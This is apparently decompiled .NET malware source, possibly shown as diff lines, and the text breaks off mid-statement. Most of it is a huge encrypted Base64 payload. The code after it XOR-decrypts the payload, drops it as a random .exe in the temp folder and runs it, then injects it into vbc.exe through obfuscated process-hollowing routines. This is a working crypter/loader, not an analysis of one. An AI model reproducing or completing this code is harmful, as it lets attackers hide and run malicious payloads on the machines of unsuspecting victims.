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b7XnLPnjc/m7MnPseTYzbqxjJfpvcmc8b/InLLtjs7p7IyXsr/YnPa/jpTnvIXBsubXzfbszs/27Y2dsb7XnbPmjc/m7MnPseTZzbqxjZbpvcmc8b/InLLtjs7p7IyXsr7Znfa/j5TnvYXBsufWzfbsz8/27I2dsb/WnLPnjM/m7MnPseXYzbqxjJfpvcmc8b/Jpc/smh8dTk43TBMvInhudkMIGkv9yenLw/Lkz8Hy5IyTtbXXkrfsjMHi5MjBtezZw766jJnttsiS9bTIkrbmj8Dt5I2ZtrfYkvK0j5rjtoTPtuzXw/Lnz8Hy5IyTtbXXkrfsjMHi58jBsuzZw765jJnttsiS9bfIkrbmj8Dt5I2ZtrTYkvK0j5rjtYTPtu/Xw/Lkz8Hy5IyTtbXXkrfvjMHi5MjBtezZw766jJnttsiS9bfIkrbmj8Dt542ZtrTYm/e0mUUTHkxDKj8uQWgvNR4DTFubs4vLk7TUjcDg38nAttfZwr2CjZjujsmT9ozIk7XejsHu34yYtYzZk/GMj5vgjYXOtdTXwvHfzsDx342Sto3Xk7TUjcDh38nAt9fZwr2CjZjujsmT9ozIk7XejsHu34yYtYzYk/GMjpvgjoXOtdTXwvDfzsDx342Sto3Wk7TUjMDh38nAttfYwryDjJjujsmT9ozJk7Xej8Hu34yYtYzZk/GMj5vgjoXOtdTWyPLf1xMBTVkGH0kt/wUYcxATTCDkx9OUwbCLjZvjh8mQ+4XIk7vXjsHj1oybuIXYkPyFjpvth4XNuN3Wwf/Wz8P/1o2SuITXkLrdjcPv1snDu97ZwrOLjZvgh8mT+IXIkLjXjsLg1oyYu4XYkPyFjpjth4XOu93Xwf/WzsD/1o2RuITXkLrdjcPs1snDuN7YwbOLjJjgh8mQ+4XJkLvXj8Lj1oybu4XZk/+Fj5jth4XNuN3WwfzWz8P/142Ru4TWmbTcqWNjOSiI/w4mK3onchxLcTH2sFBplrzPj8Pkzo2av53Ykfucj5nqnoTMv8XXwPvPz8L7z4yQvJzXkb7FjMLrzsjCvMfZwLeTjJrkn8iQ/J3Ikb/Pj8Pkz42av5zYkfidj5nqn4TMv8TXwPvOz8L7z4yQvJzXkb7EjMLrz8jCvMfZwLeSjJrknsiR/JzIkb/Pj8Pkz42av5zYkfudj5nqnoTMv8XXwPvOz8L7z4yQvJ3XkL7FjMLrz8jCvMbZltG85uihUDF6MSk2enJ7cYmm+3HyC1o7kOeVkJ72l4XLo83Xx+fGzsXnxo2XoJTXlqLMjcX3x8nFoM/Yx6ubjJ34l8mW4JXIlqPHjsT4xoydo5XYlueUjp72loXLo8zXx+fGzsXnxo2XoJXXlqLMjcX3xsnFoM7Zx6uajZ34lsmW4JTIlqPGjsT4xoydo5XZluaVj572l4XLo8zWx+fGz8Xnx42XoJTWlqLMjMX3x8nFoM7Yx6ubjJ34l8mX4pTD3+r0QOyH4XJxcikmejYpcXInK3qV0uMqkZrba8fguIqVpOvXlKayjcfzucnEpLHZxa/kjZz96MmU5OrJl6e4j8b8uYycpurYl+Lqjpzy6IXKprLXxuK5zsTiuY2WpevXl6ayjcTyucnEpbHZxa7kjZz96MmX5OrIl6a4jsX9uYycpurYlOPqjp/z6IXKp7LWxuO5z8fiuY2WpOvWl6eyjMfzucnHpLHYxq7ljJz96MmU5OrJlKe5j8f/uY2tuJKitYyAdXInK3oncnEpKzZ6MSk2enJ7cSgp3+X8d/rlwljZq7nRxKPrjJ7w58iV6OXIlau3j8fwto2eq+XYle/lj53+54TIq73XxO+2z8bvtoyUqOTXlaq9jMb/tsjGqL7ZxKPrjJ7w58iV6OXIlau3j8fwto2eq+XYle/lj53+54TIq73XxO+2z8bvtoyUqOTXlaq9jMb/tsjGqL7ZxKPrjJ7w58iV6OXIlau3j8fwto2eq+XYlezih5//4ufFvsojKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncqfqnDOj+5Z0k6q2uNrJroeArf3Yi+j8joP5/oXWrKTW2uivz9jor42Kr/3Xi62kjdj5r8nYr6fZ2qTyjYD3/smL7/3Ii6yujtn3r4yArPzYi+j8joP5/oXWraTX2uivztjor42Kr/3Xi62kjdj4r8nYr6fY2qTyjID3/smL7/zJi6yuj9n3r4yArPzZi+n9j4D4/4DJrqD48Pq7a8znuHp7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmvI6Gd5Tx50bVk6ZExuupQcborx2Lrv5GlK2lAsb4r0bYkaVIxafzAp73/0aI0P5GlayvAMf3rwKDk/5Xlej8A535/wjWkqZYxOivQMborwOKk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6LWnsn7jc2c8MnNy/jYz8CtjZWTocmei6PJnsjxjsyT8IyVyKPZnoyjjpadoYXDyPvWz4zwzs2M8I2fy6LWnsn7jc2c8MnNy/jYz8CtjZWTocmei6PJnsjxjsyT8IyVyKPZnoyjjt2zXccfQEE7HwZVIIWiAMWdzr3WnMzljc+Z78nPzubYzcWyjZeWvsmcjrzJnM3ujs6W74yXzbzZnIm8jpSYvoXBzeTWzYnvzs+J742dzr3WnMzkjc+Z78nPzufYzcWyjZeWvsmcjrzJnM3ujs6W74yXzb3ZnIm8jpSYvoXBzeTWhKAGihEFSGMzMBUk0OYP3cHj5cnBtO3Yw7+4jZnsi8mS9LbJkrbkjsDs5YyZt4nZkvO2jpritIXPt+7Ww/LlzsHz5Y2TtbfWkrbujcHi5cnBtO3Yw7+4jZnstMmS9InJkrfbjsDs5YyZtrbZkvOJjpritIXPt+7Ww/PlzsHz5Y3L66qdKzsyf0x8KTOI/vKowbONjZvggMmT+IPJk7vRjsHg0Iybu4PZkP+CjpvugYXOu9rWwf/QzsD/0I2SuIPWk7rbjcDv0MnDuNnYwrONjZjggcmT+IPJk7vRjsHg0IyYu4PZk/+CjpvugIXOu9vWwv/QzsD/0Y2SuIPWk7rajZq48ZFRGy0iu/tTcwBBSAGW/p/IkbzNjsPnzYyavJ/ZkfiejpnpnIXMvMfWwPjNzsL4zI2Qv57Wkb3GjcLozcnCv8TYwLSQjZrnncmR/5/JkbzMjsPnzIyavJ7ZkfiejpnpnIXMvMbWwPjMzsL4zI2Qv5/Wkb3HjcLozMnFv8TZgOGpJXEpKzZ6MSk21O70dP3ryNWfpujZl+Lojp/z6oXKprDWxuK4zsTiu42WpenWl6ewjcTyu8nEpbPYxq7ljZz96smX5evJl6G6jsX9u4ycpuvZl+Xojp/z6oXKprDWxuK7zsTiuI2WpenWl6ewjcTyu8nEpbPYxq7mjZf5lfK5nokwenJ7cSgpenNxcikmwZ2Jf5f17srXqb/W2+20ztnstI2Uq+bWlam/jcb8tMnGq7zY26DpjZ7z5cmV6+fJlai1jsfztIyeqOfZleznjoL95YXIqL/WxOy0zsbstI2Uq+bWlam/jcb8tMnGq7zY26HpjYHz5ciW6ePynr3EaigpenNxcikmejYpcXInK3oncnEp9vzEM/7+xDGKk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EQJFhYHF0UbWFdaOBxRRBFCAFMJXl87UkpTCQFGU05IFgAUUAYYdzwJUVIHC1obXQNMWkMfQl1THiIJGF5AFhYWF1oYdzwJUVIHF1VUFxJcWV8OSBc7cFJbTQddCAYCBmBIHFkXfHgbBBtUARRESVoDDyQ8enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpehNxciUmejaJS3InK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenNxcikmejYpcXInK3oncnEpKzZ6MSk2enJ7cSgpenMz"), "h9d12jhu9rju9182kj9021je9uj21d"); - VBMath.Randomize(); - string str = Conversions.ToString(Conversion.Int(1000f * VBMath.Rnd()) + 1f); - File.WriteAllBytes(Interaction.Environ("TEMP").ToString() + "\\" + str + ".exe", numArray); - Interaction.Shell(Interaction.Environ("TEMP").ToString() + "\\" + str + ".exe"); - try - { - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.oSwgcRlcTgqaZNyawJXFWIMmaYSkhEZxEzMP(numArray, Conversions.ToString(Environment.SystemDirectory[0]) + ":\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - ProjectData.EndApp(); - } - - public static byte[] decrypt(byte[] message, string password) - { - byte[] bytes = Encoding.Default.GetBytes(password); - int num1 = (int) message[checked (message.Length - 1)] ^ 112; - byte[] arySrc = new byte[checked (message.Length + 1)]; - int num2 = checked (message.Length - 1); - int index1 = 0; - while (index1 <= num2) - { - int index2; - arySrc[index1] = checked ((byte) ((int) message[index1] ^ num1 ^ (int) bytes[index2])); - if (index2 == checked (password.Length - 1)) - index2 = 0; - else - checked { ++index2; } - checked { ++index1; } - } - return (byte[]) Utils.CopyArray((Array) arySrc, (Array) new byte[checked (message.Length - 2 + 1)]); - } - - public class QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ - { - public const long PAGE_NOCACHE = 512; - public const long PAGE_EXECUTE_READWRITE = 64; - public const long PAGE_EXECUTE_WRITECOPY = 128; - public const long PAGE_EXECUTE_READ = 32; - public const long PAGE_EXECUTE = 16; - public const long PAGE_WRITECOPY = 8; - public const long PAGE_NOACCESS = 1; - public const long PAGE_READWRITE = 4; - public const uint PAGE_READONLY = 2; - - public static void oSwgcRlcTgqaZNyawJXFWIMmaYSkhEZxEzMP(byte[] data, string target) - { - object Instance1 = (object) new WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context(); - object obj1 = (object) new WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Process_Information(); - object obj2 = (object) new WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Startup_Information(); - object obj3 = (object) new 